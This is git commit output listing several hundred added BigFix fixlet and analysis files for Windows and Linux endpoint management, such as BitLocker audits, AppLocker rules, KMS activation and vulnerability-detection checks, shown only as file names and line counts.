 ...nents can be removed - Windows (23821).bes |   43 +
 ...nents can be removed - Windows (23822).bes | 4135 +++++++++++++++++
 ...ion may cause WU reboot prompt (20539).bes |   28 +
 ... in System Directory - Windows (21639).bes |   38 +
 ...sitory is very large - Windows (22650).bes |   37 +
 ...esponding to queries - Windows (22651).bes |   37 +
 ...ication during AV installation (20586).bes |   28 +
 ... be blocking Remote Assistance (23561).bes |   37 +
 .../Wifi + LAN Detect and Disable (24607).bes |   36 +
 .../Wifi + LAN Detect and enable (24608).bes  |   36 +
 ...AGE1__Stage Installation Files (25518).bes |   92 +
 .../Win10-1803__STAGE2__Install (25519).bes   |  134 +
 .../Win10-1803__STAGE3__Cleanup (25520).bes   |   44 +
 ...AGE1__Stage Installation Files (25593).bes |   92 +
 .../Win10-1809__STAGE2__Install (25594).bes   |  134 +
 .../Win10-1809__STAGE3__Cleanup (25595).bes   |   45 +
 .../WinGet (WinGet method) (27387).bes        |   48 +
 ...ws - New local user definition (27388).bes |  134 +
 ...Set Telemetry Level to _Basic_ (11671).bes |   47 +
 ...ty CVE 2021-36934 (TESTING) v2 (26867).bes |   88 +
 ...s 11 Upgrade Eligibility probe (26878).bes |   44 +
 ...staller 3.1 Redistributable (v2) (103).bes |   62 +
 ..., Windows Server 2012 R2 (x64) (22466).bes |   79 +
 ...indows PowerShell 2.0 Available (3964).bes |   98 +
 ...indows PowerShell 2.0 Available (3966).bes |   98 +
 ...Windows PowerShell 2.0 Available (634).bes |   91 +
 ...stall-Module (PS 5.0+ version) (26617).bes |  242 +
 .../Windows7810DeviceControl (24647).bes      |   58 +
 ... Disable the MSDT URL Protocol (26935).bes |   37 +
 ... Disable the MSDT URL Protocol (26936).bes |   37 +
 .../dump DNS Cache - Windows (21333).bes      |   50 +
 .../dump DNS Cache - Windows (9281).bes       |   50 +
 ...Windows KMS key - Windows BETA (21368).bes |   67 +
 ...ML Editing Template Powershell (25582).bes |  110 +
 ...mplate XML Editing Template Powershell.bes |  110 +
 563 files changed, 44549 insertions(+)
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes
 create mode 100644 Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Devices (50).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Hyper-V Guest - Windows (2998484).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Hyper-V Host - Windows (2998252).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Local Admin_User Audit - Windows (2994547).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Local Client Administrators (78).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Lockout Events from DC (2998671).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Logged in users with local admin rights (2998581).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MS17-010 verify (WannaCry &co.) (2998568).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 7 _ Windows Server 2008 R2 (2998556).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8 _ Windows Server 2012 (2998557).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows 8.1 _ Windows Server 2012 R2 (2998558).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MS17-010_ Detect Vulnerability for WannaCry based on File Version of Srv.sys - Windows Vista _ Windows Server 2008 (2998560).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Pending Restart - Windows (2998394).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Power - Configuration - Windows (2998419).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Printer Audit - Windows (2994742).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Printers - Windows (2998542).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Random Access Memory (RAM) Properties (Windows) - Extended (2994574).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Service Error (2994723).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Service Monitor - Windows (2998502).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes
 create mode 100644 Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Apache Commons Text detection scan (Windows).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Applocker Configuration Template (25578).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Block KB 3114717 - MS Office Issues - Windows (9143).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Block Regsvr32 in Windows Firewall (20257).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Activate Workaround_ Disable ActiveX Download (26876).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes
